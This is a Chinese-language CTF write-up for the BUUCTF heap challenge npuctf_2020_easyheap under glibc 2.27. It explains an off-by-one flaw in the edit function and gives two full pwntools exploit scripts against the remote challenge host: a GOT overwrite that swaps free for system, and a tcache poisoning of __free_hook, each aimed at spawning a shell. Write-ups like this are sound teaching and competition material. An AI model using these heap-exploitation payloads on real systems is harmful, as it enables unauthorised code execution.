这道题可以说是第一道glibc 2.27的堆题与2.23不同因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面分配和释放的方式都不一样接着来看一下这个题首先查看一下文件相关保护这里发现之开启了canary和NX,没用开RELRO所以这里got表是可写的接着将这个文件丢到ida64里面进行查看很经典的一个菜单题接着从create入手来分析这个结构首先第10行一个遍历查看当前哪一个位置是空的从而当作一个可以被申请的位置14行进行申请0x10的chunk这里这个chunk的地址就是写入在这个(heaparrayi)的位置然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数这里edit函数存在一个off by one的漏洞我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段从而释放进入我们想要的tcache bin里面。这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容这里可以将这个改为got函数地址从而泄露libc的基址free函数就是将我们申请的下标置0然后释放0x10的chunk释放我们申请的chunk,但是这里是我们申请的chunk先释放然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了所以不存在uaf漏洞。这里的攻击思路就是先申请然后利用off by one漏洞来修改下一个chunk的大小然后释放下一个chunk再申请接着写入got函数地址。首先先来为每一个功能写一个辅助函数如下def menu(choice): r.recvuntil(bYour choice :) r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(bSize of Heap(0x10 or 0x20 only) : ) r.sendline(str(size).encode()) r.recvuntil(bContent:) r.send(content) def edit(index, content): menu(2) r.recvuntil(bIndex :) r.sendline(str(index).encode()) # r.recvuntil(btext length: ) # r.sendline(str(size).encode()) r.recvuntil(bContent: ) r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(bIndex :) r.sendline(str(index).encode()) # r.recvuntil(bContent: \n) def free(index): #先释放我们申请的后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(bIndex :) r.sendline(str(index).encode())写好了之后应该就可以写出下面这样的代码add(0x18,bgaoshou) #下标为0 add(0x18,bgaoshou) #下标为1 payloadba*0x18b\x41 #通过off by one漏洞将下一个特征chunk的大小改为0x21从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个0x40有一个0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,bgaoshou) #这里先申请0x10,然后申请0x38这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free]) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出从而可以利用这个泄露libc的基址这里泄露出libc基址之后将free函数改为system函数接着free(/bin/sh)触发getshell,这里就是因为RELRO保护没有开所以就可以通过复写函数从而getshell最后得到poc:r remote(node5.buuoj.cn, 29075) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so) elfELF(rC:\Users\lezho\Desktop\misc\npuctf_2020_easyheap) add(0x18,bgaoshou) add(0x18,bgaoshou) add(0x18,b/bin/sh\x00) payloadba*0x18b\x41 edit(0,payload) free(1) add(0x38,bgaoshou) #下标为1申请的0x38完全覆盖下面的0x21chunk头节点在下 payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free]) edit(1,payload1) show(1) r.recvuntil(b\nContent : ) leaku64(r.recv(6).ljust(8,b\x00)) print(hex(leak)) libc.addressleak-libc.symbols[free] print(hex(libc.address)) edit(1,p64(libc.symbols[system])) #将free函数改为system函数 free(2) r.interactive()这里攻击可以实现就是因为RELRO保护没有开这里如果开了这个保护就不能这么干了那么这里就可以换一种攻击也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shellr remote(node5.buuoj.cn, 29075) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so) elfELF(rC:\Users\lezho\Desktop\misc\npuctf_2020_easyheap) add(0x18,bgaoshou) add(0x18,bgaoshou) add(0x18,b/bin/sh\x00) payloadba*0x18b\x41 edit(0,payload) free(1) add(0x38,bgaoshou) #下标为1申请的0x38完全覆盖下面的0x21chunk头节点在下 payload1ba*0x18p64(0x21)p64(0x40)p64(elf.got[free])p64(0)b\x41 edit(1,payload1) show(1) r.recvuntil(b\nContent : ) leaku64(r.recv(6).ljust(8,b\x00)) print(hex(leak)) libc.addressleak-libc.symbols[free] print(hex(libc.address)) free_hooklibc.symbols[__free_hook] system_addrlibc.symbols[system] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放bin里面会多2个0x20的chunk add(0x38,bgaoshou) #下标为0 add(0x38,b/bin/sh\x00) #申请之后bin里面只有一个0x21的chunk刚好是上面的0x41chunk的下半截 payload2ba*0x18p64(0x21)p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()这个攻击就是先泄露libc的基址然后再次利用off by one的漏洞实现空间重叠然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请最后将system_addr写入free_hook。最后触发这个后面这个poc应该是通用的可以绕过RELRO这个保护